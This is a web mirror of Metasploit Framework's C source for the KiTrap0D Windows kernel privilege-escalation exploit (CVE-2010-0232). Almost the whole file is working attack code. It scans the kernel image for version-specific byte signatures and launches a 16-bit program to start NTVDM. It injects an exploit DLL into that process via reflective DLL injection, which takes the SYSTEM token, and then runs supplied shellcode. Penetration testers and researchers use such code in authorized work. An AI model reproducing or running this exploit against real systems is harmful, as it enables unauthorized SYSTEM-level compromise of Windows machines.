CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.c
Views: 11784
1
/*!
2
* @file kitrap0d.c
3
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
4
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
5
* @remark Known Bugs:
6
* - Windows NT4 fails to map the NULL page, (exit code 'NTAV').
7
* - Windows 2000 fails to find the VDM_TIB size (something else is wrong)
8
* - Windows 2008 Storage Server has 16-bit applications disabled by default
9
* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
10
*/
11
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
12
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
13
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
14
15
#include <stdio.h>
16
#include "../common/common.h"
17
#include "../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
18
#include "../common/ResourceLoader.h"
19
#include "resource.h"
20
21
#define PAGE_SIZE 0x1000
22
23
enum { SystemModuleInformation = 11 };
24
25
typedef struct
26
{
27
ULONG Unknown1;
28
ULONG Unknown2;
29
PVOID Base;
30
ULONG Size;
31
ULONG Flags;
32
USHORT Index;
33
USHORT NameLength;
34
USHORT LoadCount;
35
USHORT PathLength;
36
CHAR ImageName[256];
37
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
38
39
typedef struct
40
{
41
ULONG Count;
42
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
43
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
44
45
typedef struct CodeSignature
46
{
47
UCHAR Signature[16];
48
DWORD Version;
49
};
50
51
/*!
52
* @brief List of code signatures used when searching kernel memory.
53
* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
54
*/
55
struct CodeSignature CodeSignatures[] = {
56
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
57
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
58
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
59
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
60
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
61
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
62
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
63
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
64
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
65
{ "", -1 }
66
};
67
68
/*!
69
* @brief Scan the appropriate kernel image for the correct offset.
70
* @retval TRUE An offset was found.
71
* @retval FALSE An offset was not found.
72
*/
73
BOOL kitrap0d_scan_kernel(PDWORD KernelBase, PDWORD OffsetFromBase)
74
{
75
DWORD dwResult = ERROR_SUCCESS;
76
FARPROC NtQuerySystemInformation = NULL;
77
HMODULE hKernel = NULL;
78
HMODULE hNtdll = NULL;
79
PIMAGE_DOS_HEADER DosHeader = NULL;
80
PIMAGE_NT_HEADERS PeHeader = NULL;
81
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
82
PBYTE ImageBase = NULL;
83
HKEY MmHandle = NULL;
84
OSVERSIONINFO os = { 0 };
85
SYSTEM_MODULE_INFORMATION ModuleInfo = { 0 };
86
DWORD PhysicalAddressExtensions = 0;
87
DWORD DataSize = 0;
88
ULONG i = 0;
89
ULONG x = 0;
90
91
// List of versions we have code signatures for.
92
enum {
93
MICROSOFT_WINDOWS_NT4 = 0,
94
MICROSOFT_WINDOWS_2000 = 1,
95
MICROSOFT_WINDOWS_XP = 2,
96
MICROSOFT_WINDOWS_2003 = 3,
97
MICROSOFT_WINDOWS_VISTA = 4,
98
MICROSOFT_WINDOWS_2008 = 5,
99
MICROSOFT_WINDOWS_7 = 6,
100
} Version = MICROSOFT_WINDOWS_7;
101
102
do
103
{
104
hNtdll = GetModuleHandle("ntdll");
105
if (!hNtdll) {
106
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE);
107
}
108
109
// NtQuerySystemInformation can be used to find kernel base address
110
NtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
111
if (!NtQuerySystemInformation) {
112
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE);
113
}
114
115
// Determine kernel version so that the correct code signature is used
116
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
117
if (!GetVersionEx(&os)) {
118
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed");
119
}
120
121
dprintf("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
122
123
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
124
Version = MICROSOFT_WINDOWS_NT4;
125
}
126
if (os.dwMajorVersion == 5) {
127
if (os.dwMinorVersion == 0) {
128
Version = MICROSOFT_WINDOWS_2000;
129
}
130
if (os.dwMinorVersion == 1) {
131
Version = MICROSOFT_WINDOWS_XP;
132
}
133
if (os.dwMinorVersion == 2) {
134
Version = MICROSOFT_WINDOWS_2003;
135
}
136
}
137
if (os.dwMajorVersion == 6) {
138
if (os.dwMinorVersion == 0) {
139
Version = MICROSOFT_WINDOWS_VISTA;
140
}
141
if (os.dwMinorVersion == 0) {
142
Version = MICROSOFT_WINDOWS_2008;
143
}
144
if (os.dwMinorVersion == 1) {
145
Version = MICROSOFT_WINDOWS_7;
146
}
147
}
148
149
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
150
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL);
151
152
dprintf("[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base);
153
154
// Load the kernel image specified
155
hKernel = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1);
156
if (!hKernel) {
157
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed");
158
}
159
160
// Parse image headers
161
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
162
ImageBase = (PBYTE)hKernel;
163
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
164
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
165
OptHeader = &PeHeader->OptionalHeader;
166
167
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version);
168
169
for (x = 0;; x++)
170
{
171
if (CodeSignatures[x].Version == -1) {
172
break;
173
}
174
175
if (CodeSignatures[x].Version != Version) {
176
continue;
177
}
178
179
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x);
180
181
// Scan for the appropriate signature...
182
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++)
183
{
184
if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0)
185
{
186
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i);
187
188
*OffsetFromBase = i;
189
190
FreeLibrary(hKernel);
191
192
return TRUE;
193
}
194
}
195
}
196
197
} while (0);
198
199
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel");
200
201
if (hKernel) {
202
FreeLibrary(hKernel);
203
}
204
205
return FALSE;
206
}
207
208
/*!
209
* @brief Grab a useful Handle to NTVDM.
210
* @param cpProgram Path to the program to invoke.
211
* @param hProcess Pointer to the variable that will receive the process handle.
212
* @retval TRUE Handle acquisition succeeded.
213
* @retval TRUE Handle acquisition failed.
214
*/
215
BOOL kitrap0d_spawn_ntvdm(char * cpProgram, HANDLE * hProcess)
216
{
217
DWORD dwResult = ERROR_SUCCESS;
218
PROCESS_INFORMATION pi = { 0 };
219
STARTUPINFO si = { 0 };
220
ULONG i = 0;
221
222
do
223
{
224
si.cb = sizeof(STARTUPINFO);
225
226
// Start the child process, which should invoke NTVDM...
227
if (!CreateProcess(cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
228
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed");
229
}
230
231
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId);
232
233
// Get more access
234
*hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId);
235
if (*hProcess == NULL)
236
{
237
TerminateProcess(pi.hProcess, 'SPWN');
238
CloseHandle(pi.hThread);
239
CloseHandle(pi.hProcess);
240
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed");
241
}
242
243
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess);
244
245
CloseHandle(pi.hThread);
246
247
CloseHandle(pi.hProcess);
248
249
} while (0);
250
251
if (dwResult == ERROR_SUCCESS) {
252
return TRUE;
253
}
254
255
return FALSE;
256
}
257
258
/*!
259
* @brief Find a suitable exe to host the exploit in.
260
* @param cpOutput Buffer that will contain the path to the executable which will
261
* host the exploit.
262
* @param dwOutputSize Size of the \c cpOutput buffer.
263
* @retval TRUE Found a valid exe to host the exploit in.
264
* @retval FALSE Unable to find a valid exe to host the exploit in.
265
*/
266
BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
267
{
268
DWORD dwResult = ERROR_SUCCESS;
269
char cWinDir[MAX_PATH] = {0};
270
DWORD dwIndex = 0;
271
char * cpFiles[] = { "twunk_16.exe",
272
"debug.exe",
273
"system32\\debug.exe",
274
NULL };
275
276
do
277
{
278
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
279
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
280
281
while( TRUE )
282
{
283
char * cpFileName = cpFiles[dwIndex];
284
if( !cpFileName )
285
break;
286
287
if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
288
cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
289
{
290
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
291
break;
292
}
293
294
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
295
296
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
297
return TRUE;
298
299
memset( cpOutput, 0, dwOutputSize );
300
301
dwIndex++;
302
}
303
304
} while(0);
305
306
return FALSE;
307
}
308
309
/*!
310
* @brief Helper thread function which runs the given payload directly.
311
* @param lpPayload The payload shellcode to execute.
312
* @returns \c ERROR_SUCCESS
313
*/
314
DWORD WINAPI execute_payload(LPVOID lpPayload)
315
{
316
dprintf("[KITRAP0D] Payload thread started.");
317
VOID(*lpCode)() = (VOID(*)())lpPayload;
318
lpCode();
319
return ERROR_SUCCESS;
320
}
321
322
/*!
323
* @breif Entry point for the KiTrap0D exploit.
324
* @remark This is known as CVE-2010-0232.
325
* @param hElevateModule Handle to the DLL which contains the kitrap0d_payload DLL.
326
* @param lpPayload Pointer to the shellcode to run on successful exploitation.
327
* @returns Indication of success or failure.
328
* @retval ERROR_SUCCESS The exploit worked as expected.
329
* @retval ERROR_NOT_SUPPORTED The exploit is not supported on this platform.
330
*/
331
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule, LPVOID lpPayload)
332
{
333
DWORD dwResult = ERROR_SUCCESS;
334
HANDLE hVdm = NULL;
335
HANDLE hThread = NULL;
336
LPVOID lpServiceBuffer = NULL;
337
LPVOID lpRemoteCommandLine = NULL;
338
char cWinDir[MAX_PATH] = { 0 };
339
char cVdmPath[MAX_PATH] = { 0 };
340
char cCommandLine[MAX_PATH] = { 0 };
341
DWORD dwExitCode = 0;
342
DWORD dwKernelBase = 0;
343
DWORD dwOffset = 0;
344
DWORD dwServiceLength = 0;
345
346
do
347
{
348
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);
349
350
if (lpPayload == NULL) {
351
BREAK_WITH_ERROR("[KITRAP0D] payload argument not specified", ERROR_BAD_ARGUMENTS);
352
}
353
354
if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
355
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
356
}
357
358
if (!dwServiceLength || !lpServiceBuffer) {
359
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
360
}
361
362
// 1. first get a file path to a suitable exe...
363
if (!elevate_via_exploit_getpath(cVdmPath, MAX_PATH)) {
364
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND);
365
}
366
367
// 2. Scan kernel image for the required code sequence, and find the base address...
368
if (!kitrap0d_scan_kernel(&dwKernelBase, &dwOffset)) {
369
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE);
370
}
371
372
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
373
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable");
374
375
if (!kitrap0d_spawn_ntvdm(cVdmPath, &hVdm)) {
376
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE);
377
}
378
379
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
380
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
381
_snprintf_s(cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset);
382
383
// alloc some space and write the commandline which we will pass to the injected dll...
384
lpRemoteCommandLine = VirtualAllocEx(hVdm, NULL, strlen(cCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
385
386
if (!lpRemoteCommandLine) {
387
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed");
388
}
389
390
if (!WriteProcessMemory(hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine) + 1, NULL)) {
391
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed");
392
}
393
394
// inject the dll...
395
hThread = LoadRemoteLibraryR(hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine);
396
if (!hThread) {
397
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed");
398
}
399
400
// 5. Wait for the thread to complete
401
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread);
402
WaitForSingleObject(hThread, INFINITE);
403
404
// pass some information back via the exit code to indicate what happened.
405
GetExitCodeThread(hThread, &dwExitCode);
406
407
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode);
408
409
switch (dwExitCode)
410
{
411
case 'VTIB':
412
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
413
// matches what the kernel expects.
414
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
415
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode);
416
case 'NTAV':
417
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
418
// expects to be present.
419
// The exploit thread reports it didn't work.
420
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode);
421
case 'VDMC':
422
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
423
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
424
// it's failing.
425
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode);
426
case 'LPID':
427
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
428
// unprivileged process owned by you.
429
// PsLookupProcessByProcessId() failed when trying to find your process.
430
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode);
431
case FALSE:
432
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
433
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
434
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode);
435
case 'w00t':
436
// This means the exploit payload was executed at ring0 and succeeded.
437
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS);
438
default:
439
// Unknown error. Sorry, you're on your own.
440
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode);
441
}
442
443
} while (0);
444
445
if (hVdm)
446
{
447
TerminateProcess(hVdm, 0);
448
CloseHandle(hVdm);
449
}
450
451
if (hThread)
452
{
453
CloseHandle(hThread);
454
}
455
456
// if we succeeded, we need to run our payload in another thread.
457
if (dwResult == ERROR_SUCCESS) {
458
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
459
}
460
461
return dwResult;
462
}
463
464
/*!
465
* @brief Entry point to the exploit DLL.
466
* @param hinstDLL Reference to the DLL's module.
467
* @param dwReason The reason code for the invocation.
468
* @param lpReserved A reserved value, used by the exploit code.
469
* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
470
* @returns \c TRUE all the time.
471
* @remark The \c lpReserved value contains a number which identifies which
472
* exploit to invoke. This needs to be passed in from MSF, otherwise
473
* no exploit funtionality will be invoked.
474
*/
475
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
476
{
477
DWORD dwExploit = 0;
478
BOOL bReturnValue = TRUE;
479
480
switch (dwReason)
481
{
482
case DLL_PROCESS_ATTACH:
483
hAppInstance = hinstDLL;
484
elevate_via_exploit_kitrap0d(hinstDLL, lpReserved);
485
break;
486
case DLL_QUERY_HMODULE:
487
if (lpReserved != NULL) {
488
*(HMODULE *)lpReserved = hAppInstance;
489
}
490
break;
491
case DLL_PROCESS_DETACH:
492
case DLL_THREAD_ATTACH:
493
case DLL_THREAD_DETACH:
494
break;
495
}
496
return bReturnValue;
497
}
498
499